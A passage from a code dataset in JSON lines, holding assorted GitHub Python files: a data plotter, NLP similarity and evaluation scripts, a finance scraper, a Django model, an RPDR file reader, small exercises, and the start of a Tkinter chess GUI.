import matplotlib, but we don't have to.\ntry:\n import matplotlib\n matplotlib.use('TKAgg')\n import matplotlib.pyplot as plt\n import matplotlib.gridspec as gridspec\n from matplotlib.dates import date2num\nexcept ImportError:\n pass\n\nWINDOW = 200\n\n\ndef run(input_file, audio_file=None):\n with open(input_file, \"rb\") as f:\n reader = csv.reader(f)\n\n headers = reader.next()\n reader.next()\n reader.next()\n plt.ion()\n fig = plt.figure(figsize=(20, 10))\n gs = gridspec.GridSpec(2, 1)\n value_plot = fig.add_subplot(gs[0, 0])\n\n data = {}\n plots = {}\n legend = []\n for header in headers:\n data[header] = deque([0.0] * WINDOW, maxlen=WINDOW)\n\n # Initialize with first row.\n row = reader.next()\n for row_index, row_value in enumerate(row):\n for header_index, hdr in enumerate(headers):\n\n # # Looks only at the predicted field, plotting actual and predicted\n # if hdr in [\"b3\", \"predicted\"] and row_index == header_index:\n # data[hdr].append(row_value)\n # plots[hdr], = plt.plot(data[hdr])\n\n # Plots major input data, but not predictions\n if hdr.startswith(\"b\") \\\n and row_index == header_index:\n data[hdr].append(row_value)\n plots[hdr], = plt.plot(data[hdr])\n legend.append(hdr)\n\n plt.legend(legend, loc=3)\n\n anomaly_plot = fig.add_subplot(gs[1, 0])\n anomaly_plot.set_ylim([-0.2, 1.2])\n plots[\"anomalyScore\"], = plt.plot(data[\"anomalyScore\"], 'y')\n plots[\"anomalyLikelihood\"], = plt.plot(data[\"anomalyLikelihood\"], 'r')\n\n plt.legend([\"anomalyScore\", \"anomalyLikelihood\"], loc=3)\n plt.draw()\n plt.tight_layout()\n\n \n if audio_file:\n subprocess.call(\"open %s\" % audio_file, shell=True)\n time.sleep(0.5)\n\n start = time.time()\n max_y_value = 0.0\n\n for row in reader:\n data_time = start + float(row[headers.index(\"seconds\")])\n for row_index, row_value in enumerate(row):\n for header_index, hdr in enumerate(headers):\n\n # # Looks only at the predicted field, plotting actual and predicted\n # if hdr in [\"b3\", \"predicted\", \"seconds\", \"anomalyScore\", \"anomalyLikelihood\"] \\\n # and row_index == header_index:\n # data[hdr].append(row_value)\n #\n # if hdr in [\"b3\", \"predicted\"]:\n # if float(row_value) > max_y_value:\n # max_y_value = float(row_value)\n #\n # if not hdr == \"seconds\":\n # plot = plots[hdr]\n # plot.set_xdata(data[\"seconds\"])\n # plot.set_ydata(data[hdr])\n # value_plot.set_ylim([0, max_y_value])\n\n\n # Plots major input data, but not predictions\n if hdr == \"seconds\" and row_index == header_index:\n data[hdr].append(row_value)\n\n elif (hdr.startswith(\"b\") or hdr in [\"anomalyScore\", \"anomalyLikelihood\"]) \\\n and row_index == header_index:\n data[hdr].append(row_value)\n if float(row_value) > max_y_value:\n max_y_value = float(row_value)\n plot = plots[hdr]\n plot.set_xdata(data[\"seconds\"])\n plot.set_ydata(data[hdr])\n value_plot.set_ylim([0, max_y_value])\n\n value_plot.relim()\n value_plot.autoscale_view(True, True, True)\n anomaly_plot.relim()\n anomaly_plot.autoscale_view(True, True, True)\n plt.draw()\n\n if audio_file:\n while time.time() < data_time:\n time.sleep(0.1)\n\n plt.show()\n\n\n\nif __name__ == \"__main__\":\n args = sys.argv[1:]\n input_file = args[0]\n audio_file = None\n if len(args) > 1:\n audio_file = args[1]\n run(input_file, audio_file)\n","repo_name":"htm-community/nupic.critic","sub_path":"gen1/plotter.py","file_name":"plotter.py","file_ext":"py","file_size_in_byte":3781,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"36"} +{"seq_id":"13658072308","text":"import os\n\n\nclass S2vSimilarity:\n\n def __init__(self, s2v_util, s2v_key_variations, s2v_key_commonizer):\n self.s2v_util = s2v_util\n self.s2v_key_variations = s2v_key_variations\n self.s2v_key_commonizer = s2v_key_commonizer\n self.req_args = {}\n\n\n def call(self, k1, k2, req_args={}):\n self.req_args = req_args\n try:\n k1_common_input = self.commonize_input(k1)\n k2_common_input = self.commonize_input(k2)\n result = self.s2v_similarity_wrapper(k1_common_input, k2_common_input)\n except Exception as e:\n err = str(e)\n if err.find(\"unsupported operand type\") != -1:\n result = float(0)\n else:\n raise\n\n return result\n\n\n def commonize_input(self, d):\n d_list = None\n if isinstance(d, str):\n d_list = [d]\n elif isinstance(d, list):\n d_list = d\n elif isinstance(d, dict):\n d_list = [d['phrase']] if isinstance(d['phrase'], str) else d['phrase']\n else:\n raise ValueError(\"dont recognize type of input: {0} {1}\".format(type(d), d))\n d_common_input = self.s2v_key_commonizer.call(d_list)\n is_proper = d['is_proper'] if 'is_proper' in d else self.s2v_util.phrase_is_proper(list(map(lambda x: self.s2v_util.s2v.split_key(x['wordsense'])[0], d_common_input)))\n return { 'phrase': d_common_input, 'is_proper': is_proper }\n\n\n def s2v_similarity_wrapper(self, k1, k2):\n key_variation_combinations = self.collect_key_variation_combinations(k1, k2)\n return self.s2v_similarity_select_best(key_variation_combinations)\n\n\n def collect_key_variation_combinations(self, k1, k2):\n combinations = []\n attempt_phrase_join_for_compound_phrases = self.req_args.get('attempt-phrase-join-for-compound-phrases')\n k1_variations = self.s2v_key_variations.call(\n k1['phrase'], \n attempt_phrase_join_for_compound_phrases,\n random_sample_matching_sense_unknown_keys = True,\n flag_joined_phrase_variations = True,\n return_only_top_priority = True,\n phrase_is_proper = k1['is_proper'],\n limit = 25,\n )\n k2_variations = self.s2v_key_variations.call(\n k2['phrase'], \n attempt_phrase_join_for_compound_phrases,\n random_sample_matching_sense_unknown_keys = True,\n flag_joined_phrase_variations = True,\n return_only_top_priority = True,\n phrase_is_proper = k2['is_proper'],\n limit = 25,\n )\n for k1_variation in k1_variations:\n for k2_variation in k2_variations:\n combinations.append([k1_variation['key'], k2_variation['key']])\n return combinations\n\n\n def s2v_similarity_select_best(self, similarity_combinations):\n result = 0.0\n for k1, k2 in similarity_combinations:\n k1_mapped = list(map(\n lambda x: x['wordsense'],\n k1,\n ))\n k2_mapped = list(map(\n lambda x: x['wordsense'],\n k2,\n ))\n\n if None in k1_mapped or None in k2_mapped:\n r = 0.0\n else:\n if os.getenv('S2V_VERBOSE'):\n print()\n print('similarity comparing')\n print('k1', k1_mapped)\n print('k2', k2_mapped)\n r = self.s2v_util.s2v.similarity(k1_mapped, k2_mapped)\n if os.getenv('S2V_VERBOSE'):\n print('result', r)\n print()\n if r > result:\n result = r\n return round(float(result), 3)\n\n\nif __name__ == '__main__':\n from sense2vec import Sense2Vec\n from s2v_util import S2vUtil\n from s2v_senses import S2vSenses\n from s2v_key_case_and_sense_variations import S2vKeyCaseAndSenseVariations\n from s2v_key_commonizer import S2vKeyCommonizer\n S2V_MODAL_PATH = os.getenv('S2V_MODEL_PATH_DEV')\n print(\"loading model from disk..\", S2V_MODAL_PATH)\n s2v = Sense2Vec().from_disk(S2V_MODAL_PATH)\n print(\"model loaded.\")\n s2v_util = S2vUtil(s2v)\n s2v_senses = S2vSenses(s2v_util)\n s2v_key_variations = S2vKeyCaseAndSenseVariations(s2v_util, s2v_senses)\n s2v_key_commonizer = S2vKeyCommonizer()\n similarity_service = S2vSimilarity(s2v_util, s2v_key_variations, s2v_key_commonizer)\n k1 = [\"New_York|LOC\"]\n k2 = [\"big|ADJ\", \"apple|NOUN\"]\n result = similarity_service.call(k1, k2)\n print(result)\n print()\n k1 = [\"New_York|LOC\"]\n k2 = [\"big|NOUN\", \"apple|NOUN\"]\n result = similarity_service.call(k1, k2)\n print(result)\n print()\n k1 = [\"New_York|LOC\"]\n k2 = [\"big|ADJ\", \"apple|NOUN\"]\n result = similarity_service.call(k1, k2, { 'attempt-phrase-join-for-compound-phrases': 1 })\n print(result)\n print()\n k1 = [\"New_York|LOC\"]\n k2 = [\"big_apple|NOUN\"]\n result = similarity_service.call(k1, k2)\n print(result)\n print()\n k1 = { 'phrase': [\"New_York|LOC\"], 'is_proper': True }\n k2 = [\"love|ADJ\", \"big|ADJ\", \"apple|NOUN\"]\n result = similarity_service.call(k1, k2, { 'attempt-phrase-join-for-compound-phrases': 1 })\n print(result)\n print()\n k1 = [\"New_York|LOC\"]\n k2 = [{ 'wordsense': \"love|ADJ\", 'required': True }, { 'wordsense': \"big|ADJ\", 'required': True }, { 'wordsense': \"apple|NOUN\", 'required': True }]\n result = similarity_service.call(k1, k2, { 'attempt-phrase-join-for-compound-phrases': 1 })\n print(result)\n print()\n","repo_name":"joshweir/sense2vec-rest","sub_path":"s2v_similarity.py","file_name":"s2v_similarity.py","file_ext":"py","file_size_in_byte":5045,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"11311475184","text":"#!/usr/bin/env python\nimport npyscreen\n\nclass EditorFormExample(npyscreen.FormMutt):\n MAIN_WIDGET_CLASS = npyscreen.MultiLineEdit\n\nclass TestApp(npyscreen.NPSApp):\n def main(self):\n F = EditorFormExample()\n F.wStatus1.value = \"Status Line \"\n F.wStatus2.value = \"Second Status Line \"\n with open(\"/Users/nicholas/Downloads/pg2600.txt\", 'r') as war_and_peace:\n text = war_and_peace.read()\n F.wMain.value = text \n\n\n F.edit()\n\n\nif __name__ == \"__main__\":\n App = TestApp()\n App.run()\n","repo_name":"npcole/npyscreen","sub_path":"example-war-and-peace.py","file_name":"example-war-and-peace.py","file_ext":"py","file_size_in_byte":551,"program_lang":"python","lang":"en","doc_type":"code","stars":436,"dataset":"github-code","pt":"36"} +{"seq_id":"19622469591","text":"_input = int(input())\ncount = 0\n\nfor i in range(1, _input + 1):\n if i < 100:\n count+=1\n else:\n arr = list(map(int, str(i)))\n if arr[0] - arr[1] == arr[1] - arr[2]:\n count+=1\n\nprint(count)","repo_name":"monegit/algorithm-study","sub_path":"Training-Site/Baekjoon/1/1000/1065/Python/1065.py","file_name":"1065.py","file_ext":"py","file_size_in_byte":225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"42902988346","text":"from flask import Flask\nfrom flask_sqlalchemy import SQLAlchemy\n\napp = Flask(__name__)\n\napp.config[\"SQLALCHEMY_DATABASE_URI\"] = \"sqlite:///data.sqlite\"\napp.config[\"SQLALCHEMY_TRACK_MODIFICATIONS\"] = False\ndb = SQLAlchemy(app)\n\nfrom models import User\n\n@app.route(\"/\")\ndef index():\n return \"Home page!\"\n\n@app.route(\"/users\")\ndef get_users():\n user = User.query.filter_by(username=\"admin\").first()\n return {\n \"username\": user.username\n }\n\nif __name__ == \"__main__\":\n app.run()","repo_name":"gokmenozkn/flask-example","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"20520762806","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Nov 23 18:11:26 2021\n\n@author: pawel\n\"\"\"\n\nimport glob\nimport numpy as np\nimport cv2\nimport os\n\n#IMPORTANT - the files must be sorted into the subfolders \"Increment_1, Inrement_2\", then the loop will average everything \n#in the subfolders, remember to change number of increments! \n\n\ndef average_bw(increment_number, source_folder, destination_folder):\n os.chdir(source_folder)\n files = glob.glob (\"*.tif\")\n # Import all image files with the .jpg extension\n image_data = []\n for my_file in files:\n this_image = cv2.imread(my_file, 2) #flag=2 converts to greyscale\n image_data.append(this_image)\n \n # Calculate blended image\n dst = image_data[0]\n for i in range(len(image_data)):\n if i == 0:\n pass\n else:\n alpha = 1.0/(i + 1)\n beta = 1.0 - alpha\n dst = cv2.addWeighted(image_data[i], alpha, dst, beta, 0.0)\n \n # Save blended image\n file_name = destination_folder + 'Avg_' + str(increment_number) + \".tif\"\n cv2.imwrite(file_name, dst)\n \n \n\nincrements = 27\n\nfor i in range (1,increments+1,1):\n print(i)\n\n source_folder = 'C:/Users/pawel/OneDrive/Desktop/hole_drilling_pictures/CFRP/4_th_sample/22_November_Sample_4_hole_8/Increment_' + str(i)\n\n\n destination_folder = 'C:/Users/pawel/OneDrive/Desktop/hole_drilling_pictures/CFRP/4_th_sample/22_November_Sample_4_hole_8/Averaged/'\n \n \n average_bw(i, source_folder, destination_folder)\n\n\n","repo_name":"earabul-sudo/RES-DIC-HD","sub_path":"Software/Data Processing Scripts/avaraging_pictures_bw_correction.py","file_name":"avaraging_pictures_bw_correction.py","file_ext":"py","file_size_in_byte":1511,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"36"} +{"seq_id":"4671648489","text":"\"\"\"\nEvaluate GenQA stage2 test set prediction result. (Accumulate Stage1 Prediction)\n\"\"\"\nimport sys\nimport os\nsys.path.append(os.path.abspath('..'))\nsys.path.append(os.path.abspath('.'))\nfrom ast import arguments\nfrom tkinter import E\nimport spacy\nfrom easydict import EasyDict as edict\nimport json\nimport re\nimport random\nfrom collections import defaultdict\nfrom evaluate.phee_metric import compute_metric\n\ndef read_pred_result(pred_file):\n \n question_types = {}\n with open(pred_file, 'r') as f:\n pred_rst = json.load(f)\n label_ids = pred_rst['label_ids']\n predictions = pred_rst['predictions']\n\n for instance in label_ids:\n question_types[instance['id']] = instance['question_type']\n \n output = defaultdict(lambda: defaultdict(list))\n\n for instance in predictions:\n ins_id = \"_\".join(instance['id'].split('_')[:-1])\n qtype = question_types[instance['id']]\n pred_text = instance['prediction_text']\n if pred_text:\n pred_ents = pred_text.split(';')\n for ent in pred_ents:\n output[ins_id][qtype].append(ent.strip())\n\n return output\n \ndef read_gold_result(gold_file):\n output = defaultdict(lambda: defaultdict(list))\n\n with open(gold_file, 'r') as f:\n gold_rst = json.load(f)\n data = gold_rst[\"data\"]\n for instance in data:\n ins_id = \"_\".join(instance['id'].split('_')[:-1])\n qtype = instance[\"question_type\"]\n answer = instance['answers']\n if answer:\n gold_ents = answer.split(';')\n for ent in gold_ents:\n output[ins_id][qtype].append(ent.strip())\n\n return output\n\ndef main():\n\n gold_file = \"data/stage2_gold/test_7.json\"\n pred_file = \"model/stage2/SciFive-base-PMC/7/predict_outputs.json\"\n rst_file = \"model/stage2/SciFive-base-PMC/7/predict_results.json\"\n\n pred_rst = read_pred_result(pred_file)\n gold_rst = read_gold_result(gold_file)\n\n instances = []\n ins_ids = list(set(list(pred_rst.keys())+list(gold_rst.keys())))\n\n for instance_id in ins_ids:\n preds = pred_rst[instance_id] if instance_id in pred_rst else {}\n golds = gold_rst[instance_id] if instance_id in gold_rst else {}\n question_types = list(set(list(preds.keys())+list(golds.keys())))\n for qtype in question_types:\n instance = {\n 'id': instance_id,\n 'type': qtype,\n 'predictions':[],\n 'golds':[]\n }\n if qtype in preds:\n instance['predictions'] = preds[qtype]\n if qtype in golds:\n instance['golds'] = golds[qtype]\n instances.append(instance)\n \n result = compute_metric(instances=instances)\n\n with open(rst_file, 'w') as f:\n json.dump(result, f, indent=4)\n\n\n \n \n\nif __name__ == '__main__':\n main()\n\n","repo_name":"ZhaoyueSun/PHEE","sub_path":"gen_qa/eval_stage2_preds.py","file_name":"eval_stage2_preds.py","file_ext":"py","file_size_in_byte":2932,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"36"} +{"seq_id":"7918505551","text":"from python_utils.run_query import run_query\n\n\ndef test_st_antimeridiansafegeom_success():\n query = \"\"\"WITH t AS (\n SELECT @@DB_SCHEMA@@.ST_MAKEBBOX(178, 0, 190, 5) AS geom\n)\nSELECT @@DB_SCHEMA@@.ST_ASTEXT(@@DB_SCHEMA@@.ST_ANTIMERIDIANSAFEGEOM(geom)) FROM t;\"\"\"\n result = run_query(query)\n assert (\n result[0][0]\n == 'MULTIPOLYGON (((-180 0, -180 5, -170 5, -170 0, -180 0)), ((180 5, 180 0, 178 0, 178 5, 180 5)))'\n )\n","repo_name":"CartoDB/analytics-toolbox-core","sub_path":"clouds/databricks/modules/test/transformations/test_ST_ANTIMERIDIANSAFEGEOM.py","file_name":"test_ST_ANTIMERIDIANSAFEGEOM.py","file_ext":"py","file_size_in_byte":446,"program_lang":"python","lang":"en","doc_type":"code","stars":181,"dataset":"github-code","pt":"36"} +{"seq_id":"41702737409","text":"import os\nimport time\nimport requests\nimport boto3\n\nfrom utils import to_string\n\n\"\"\"\nopen close high low: https://analyzingalpha.com/open-high-low-close-stocks\n\"\"\"\n\n\nclass Solver:\n\n def __init__(self) -> None:\n self.root_url = \"https://query2.finance.yahoo.com//v8/finance/chart/{t}?symbol={t}&period1={s}&period2={e}&interval={i}\"\n self.headers = {\"user-agent\": \"...\"} # add your used-agent here\n \n # CONNECTION STRINGS\n self.table_name = \"market-table\" # recommended table name\n self.access_key_id = \"...\" # AWS connection strings\n self.secret_access_key = \"...\" # AWS connection strings\n self.region_name = \"us-east-1\" # change this based on your DynamoDB region\n self.client = boto3.client(\n \"dynamodb\",\n aws_access_key_id=self.access_key_id,\n aws_secret_access_key=self.secret_access_key,\n region_name = self.region_name,\n )\n self.dynamodb = boto3.resource(\n \"dynamodb\",\n aws_access_key_id=self.access_key_id,\n aws_secret_access_key=self.secret_access_key,\n region_name = self.region_name,\n )\n\n def _scrape_step(self, ticker, start, end, interval=\"1m\"):\n \"\"\"Scrape Yahoo Finance price information\n\n Args:\n ticker (str): Ticker symbol for the desired stock\n start (int): Unix timestamp for the starting time\n end (int): Unix timestamp for the ending time\n interval (str): Desired interval of the ticks\n\n Returns:\n output_dict (dict): output dictionary, where all items are in format:\n {ticker-timestamp, low, close, high, volume, open}\n \"\"\"\n query = self.root_url.format(t=ticker, s=start, e=end, i=interval)\n r = requests.get(query, headers=self.headers)\n data = r.json()\n timestamp = data[\"chart\"][\"result\"][0][\"timestamp\"]\n low = data[\"chart\"][\"result\"][0][\"indicators\"][\"quote\"][0][\"low\"]\n close = data[\"chart\"][\"result\"][0][\"indicators\"][\"quote\"][0][\"close\"]\n high = data[\"chart\"][\"result\"][0][\"indicators\"][\"quote\"][0][\"high\"]\n volume = data[\"chart\"][\"result\"][0][\"indicators\"][\"quote\"][0][\"volume\"]\n open = data[\"chart\"][\"result\"][0][\"indicators\"][\"quote\"][0][\"open\"]\n \n output_dict = {}\n for i, time in enumerate(timestamp):\n if time > end or time < start:\n continue\n val = ticker+\"-\"+str(time)\n output_dict[val] = {\"ticker-timestamp\":val, \"low\":str(low[i]), \"close\":str(close[i]), \"high\":str(high[i]), \"volume\":str(volume[i]), \"open\":str(open[i])}\n return output_dict\n\n def _upload_step(self, upload_dict):\n print(\"-- Uploading... --\")\n for key in upload_dict:\n self.dynamodb.Table(self.table_name).put_item(\n Item=upload_dict[key]\n )\n print(\"-- Upload Successful --\")\n\n def scrape_upload(self, ticker):\n \"\"\"\n Steps of scraping:\n - check database for the last entry date, if last entry date yesterday -> 1, else -> 2\n - 1) scrape last days price information\n - 2) if last entry date do exist -> 2.1, else -> 2.2\n - 2.1) scrape data day by day until you reach today\n - 2.2) scrape data starting from start limit (constraint) until you reach today\n Steps of uploading to database\n - do it step by step to reduce the load\n \"\"\"\n end_t = int(time.time())\n breaks = [] # time \n for i in range(6): # go to the past up-to 10 days\n breaks.append(end_t - (86400*2*i))\n breaks = breaks[::-1]\n print(\"- Scrape-Upload starting from \" , to_string(breaks[0]), \" to \", to_string(breaks[-1]), \" -\")\n breaks[-1] += 1\n for step in range(len(breaks)-1):\n start, end = breaks[step], breaks[step+1]-1\n output_dict = self._scrape_step(ticker=ticker, start=start, end=end)\n self._upload_step(output_dict)\n print(\"- Scrape-Upload completed -\")\n\n return\n\n def clean(self):\n \"\"\"\n If the database contains outdated data, remove them (start limit), since we donot have unlimited space\n \"\"\"\n pass\n\n def run(self):\n \"\"\"\n Run funtion, which should be called daily --> performs scrape, upload, clean\n \"\"\"\n pass","repo_name":"polat-c/market-visualizer","sub_path":"scraper/solver.py","file_name":"solver.py","file_ext":"py","file_size_in_byte":4432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"13962184879","text":"from django.db import models\nfrom django.utils.translation import gettext_lazy as _\n\n\nclass HelperShift(models.Model):\n \"\"\"\n n-m relation between helper and shift.\n\n This model then can be used by other apps to \"attach\" more data with OneToOne fields and signals.\n\n The fields `present` and `manual_presence` belong to the gifts app. They are directly inserted here as it\n would be too complicated to add another model for just two booleans. Additionally, this has the advantage\n that the `present` flag can directly used by other apps.\n\n Columns:\n :helper: The helper\n :shift: The shift\n :timestamp: Timestamp when the helper registered for this shift\n :present: Flag set when the helper is there (manually or automatically)\n :manual_presence: `present` flag was manually set\n \"\"\"\n\n class Meta:\n unique_together = (\n \"helper\",\n \"shift\",\n )\n\n helper = models.ForeignKey(\n \"Helper\",\n on_delete=models.CASCADE,\n )\n\n shift = models.ForeignKey(\n \"Shift\",\n on_delete=models.CASCADE,\n )\n\n timestamp = models.DateTimeField(auto_now_add=True, verbose_name=_(\"Registration time for this shift\"))\n\n present = models.BooleanField(default=False, verbose_name=_(\"Present\"), help_text=_(\"Helper was at shift\"))\n\n manual_presence = models.BooleanField(\n default=False,\n editable=False,\n verbose_name=_(\"Presence was manually set\"),\n )\n\n def __str__(self):\n return \"{} - {} - {}\".format(self.helper.event, self.helper, self.shift)\n","repo_name":"helfertool/helfertool","sub_path":"src/registration/models/helpershift.py","file_name":"helpershift.py","file_ext":"py","file_size_in_byte":1596,"program_lang":"python","lang":"en","doc_type":"code","stars":52,"dataset":"github-code","pt":"36"} +{"seq_id":"7034103332","text":"def topView(root):\n prev = [[root, False]]\n visited = set()\n curr = root\n vertical = horizontal = 0\n heights = {}\n while (len(prev) != 0):\n if (horizontal not in heights or heights[horizontal][1] < vertical):\n heights[horizontal] = (curr.info, vertical)\n if (curr.left is not None and curr.left not in visited):\n curr = curr.left\n prev.append([curr, True])\n visited.add(curr)\n horizontal -= 1\n vertical -= 1\n elif (curr.right is not None and curr.right not in visited):\n curr = curr.right\n prev.append([curr, False])\n visited.add(curr)\n horizontal += 1\n vertical -= 1\n else:\n if (prev[-1][1]):\n horizontal += 1\n else:\n horizontal -= 1\n prev.pop()\n if (len(prev) != 0):\n curr = prev[-1][0]\n vertical += 1\n \n for i in sorted(heights):\n print(heights[i][0], end=\" \")","repo_name":"TheArchons/Leetcode","sub_path":"hackerrank/Datastructures/Trees/TopView.py","file_name":"TopView.py","file_ext":"py","file_size_in_byte":1051,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"74267148905","text":"import csv\nimport logging\nfrom pathlib import Path\nfrom typing import Generator, List, Union\n\nimport pandas as pd\nfrom rich.progress import Progress\nfrom ..constants import (\n RPDR_NEWLINE_CHAR,\n RPDR_FILE_DELIMITER,\n RPDR_REPORT_TEXT_FIELD,\n RPDR_REPORT_END_TOKEN,\n)\nfrom .types import OnBrokenRecordsType\n\n\ndef _merge_rows(\n row1: List[str], row2: List[str], newline_char: str = RPDR_NEWLINE_CHAR\n) -> List[str]:\n \"\"\"For combining two rows of a \"malformed\" record when stepping through an\n RPDR *.txt file.\n\n This situation mainly occurs when there is an unexpected line break in the\n middle of a string/text field (e.g. Report_Text).\n\n The lists are merged by concatenating the two with their \"innermost\"\n elements (strings) concatenated, separated by a newline.\n\n Example:\n\n Expected number of fields: 4\n\n ```python\n row1 = [\"A\", \"B\", \"C\"]\n row2 = [\"D\", \"E\"]\n\n result = [\"A\", \"B\", \"C\\r\\nD\", \"E\"]\n ```\n \"\"\"\n\n if len(row1) == 0:\n raise ValueError(\"First row should not be empty.\")\n\n if len(row2) == 0:\n row2 = [\"\"]\n\n return [*row1[:-1], newline_char.join([row1[-1], row2[0]]), *row2[1:]]\n\n\ndef _get_bytes(row: List[str], newline_char: str = RPDR_NEWLINE_CHAR) -> int:\n \"\"\"Return the number of bytes of a given row as read by csv.reader.\"\"\"\n\n return len((\"|\".join(row) + newline_char).encode(\"utf-8\"))\n\n\ndef _found_report_end(record: List[str]) -> bool:\n return len(record) > 0 and record[-1].endswith(RPDR_REPORT_END_TOKEN)\n\n\ndef reader(\n path: Union[Path, str],\n on_broken_records: OnBrokenRecordsType = \"raise\",\n include_header: bool = False,\n newline_char: str = RPDR_NEWLINE_CHAR,\n) -> Generator[List[str], None, None]:\n \"\"\"Returns a generator that yields the records of a RPDR *.txt file\n as a list of strings.\n\n Currently, RPDR files cannot be correctly read by regular CSV tools (e.g.\n csv.reader, pd.read_csv).\n\n Due to some formatting quirks with line breaks/quoting, records may be\n split up over several rows within the CSV.\n\n If on_broken_records is \"repair\", this function attempts to piece together the\n rows into complete records. (If it is unable to do this, it will throw an error.)\n\n Assumes the file uses \\r\\n for new lines. (This can be modified by\n specifying newline_char.)\"\"\"\n\n if not isinstance(path, Path):\n path = Path(path)\n\n file_size = path.stat().st_size\n\n with open(path, \"r\", newline=\"\") as rpdr_file, Progress() as progress:\n task = progress.add_task(f\"Reading {path.name}...\", total=file_size)\n reader = csv.reader(\n rpdr_file, delimiter=RPDR_FILE_DELIMITER, quoting=csv.QUOTE_NONE\n )\n\n # assume there is always a header row\n header = next(reader)\n\n if include_header:\n yield header\n\n has_report_text = RPDR_REPORT_TEXT_FIELD in header\n\n if has_report_text and header.index(RPDR_REPORT_TEXT_FIELD) != len(header) - 1:\n raise IndexError(\n f\"{RPDR_REPORT_TEXT_FIELD} is expected to be the last field.\"\n )\n\n progress.update(task, advance=_get_bytes(header, newline_char))\n\n # first entry\n try:\n record = next(reader)\n\n except StopIteration:\n return\n\n n_broken_rows = 1 if len(record) < len(header) else 0\n\n for row_number, row in enumerate(reader):\n in_report_text = (\n has_report_text\n and len(record) == len(header)\n and not _found_report_end(record)\n )\n\n if in_report_text:\n to_add = RPDR_FILE_DELIMITER.join(row)\n\n record = _merge_rows(record, [to_add], newline_char)\n\n elif len(record) == len(header) and len(row) > 0:\n if has_report_text and _found_report_end(record):\n record[-1] = record[-1].removesuffix(RPDR_REPORT_END_TOKEN)\n\n yield record\n progress.update(task, advance=_get_bytes(record, newline_char))\n\n # start new record\n record = row[:]\n\n elif len(record) > len(header):\n raise RuntimeError(\n \"Could not piece together record. \"\n \"Row lengths do not add up to the expected number of fields.\"\n )\n\n # prevent extra empty rows/line breaks after RPDR_REPORT_END_TOKEN\n elif _found_report_end(record) and len(row) == 0:\n continue\n\n # merge row\n else:\n n_broken_rows += 1\n if on_broken_records == \"raise\":\n raise RuntimeError(f\"Broken record found in row {row_number}.\")\n\n elif on_broken_records == \"repair\":\n record = _merge_rows(record, row, newline_char)\n\n elif on_broken_records == \"skip\":\n # start new record\n record = row[:]\n\n # handle last record\n if len(record) != len(header):\n if on_broken_records == \"raise\" or on_broken_records == \"repair\":\n raise RuntimeError(\n \"Final record does not appear to have the expected \"\n \"number of fields.\"\n )\n else:\n pass\n\n else:\n if has_report_text and _found_report_end(record):\n record[-1] = record[-1].removesuffix(RPDR_REPORT_END_TOKEN)\n\n yield record\n\n if n_broken_rows > 0:\n broken_record_result = (\n \"repaired\" if on_broken_records == \"repair\" else \"skipped\"\n )\n logging.warning(\n f\"Found {n_broken_rows} broken rows which were {broken_record_result}.\"\n )\n\n else:\n logging.info(\"No broken rows were found.\")\n\n progress.update(task, advance=_get_bytes(record, newline_char))\n\n\ndef read_file(\n path: Union[Path, str],\n on_broken_records: OnBrokenRecordsType = \"raise\",\n newline_char: str = RPDR_NEWLINE_CHAR,\n) -> pd.DataFrame:\n \"\"\"Reads an RPDR *.txt file into a Pandas DataFrame.\n\n Assumes the file uses \\r\\n for new lines. (This can be modified by specifying\n the newline_char parameter.)\"\"\"\n\n records = reader(\n path,\n on_broken_records=on_broken_records,\n include_header=True,\n newline_char=newline_char,\n )\n\n header = next(records)\n\n return pd.DataFrame(records, columns=header)\n","repo_name":"lindvalllab/rpdrtools","sub_path":"rpdrtools/io/io.py","file_name":"io.py","file_ext":"py","file_size_in_byte":6542,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"36"} +{"seq_id":"32414008699","text":"#main GUI window\n\nimport Tkinter\nimport Image\nimport cv2\nimport ImageTk\nfrom moveinterpreter import board\nfrom captureDiag import captureDiag\n\nclass topApp(Tkinter.Tk):\n def __init__(self, parent, logic, viewer, camfps = 30, statefps = 4, cabfolder = None):\n Tkinter.Tk.__init__(self,parent)\n\n #stages:\n #0- no cam\n #1- no calibration\n #2- no game\n #3- game ready\n self.stage = 0\n\n self.camfps = camfps\n self.statefps = statefps\n self.parent = parent\n self.logic = logic\n self.viewer = viewer\n self.camind = -1\n self.cabfold = cabfolder\n self.boardSign = '++++++++\\n++++++++\\n++++++++\\n++++++++\\n++++++++\\n++++++++\\n++++++++\\n++++++++\\n'\n self.title(\"CheckMate Writer\")\n\n self.initialize()\n\n def initialize(self):\n self.grid()\n\n self.camLabel = Tkinter.Label(self)\n self.camLabel.grid(column=0, row=1, columnspan=4, rowspan=3, sticky='ENSW')\n\n self.promotionval = Tkinter.StringVar()\n\n radioQ = Tkinter.Radiobutton(self,text='promote to queen', variable = self.promotionval, value = 'Q')\n radioQ.grid(column=0,row=0,columnspan=2)\n radioQ.select()\n radioH = Tkinter.Radiobutton(self,text='promote to knight', variable = self.promotionval, value = 'H')\n radioH.grid(column=2,row=0,columnspan=2)\n\n self.boardState = Tkinter.StringVar()\n boardStateLabel= Tkinter.Label(self, textvariable = self.boardState, font=(\"Courier\", 12))\n boardStateLabel.grid(column=4,row=0,columnspan=2,rowspan=2)\n\n buttonheight = 4\n rollButton = Tkinter.Button(self, text='RollBack', height = buttonheight, command=self.rollback)\n rollButton.grid(column=4,row=2,columnspan=2)\n\n calibrateButton = Tkinter.Button(self,text='Calibrate', height = buttonheight,command=self.calibrate)\n calibrateButton.grid(column=4,row=3,columnspan=2)\n\n newGameButton = Tkinter.Button(self,text='New Game', height = buttonheight,command = self.newGame)\n newGameButton.grid(column=6,row=0,columnspan=3)\n\n switchButton = Tkinter.Button(self,text='Switch Camera', height = 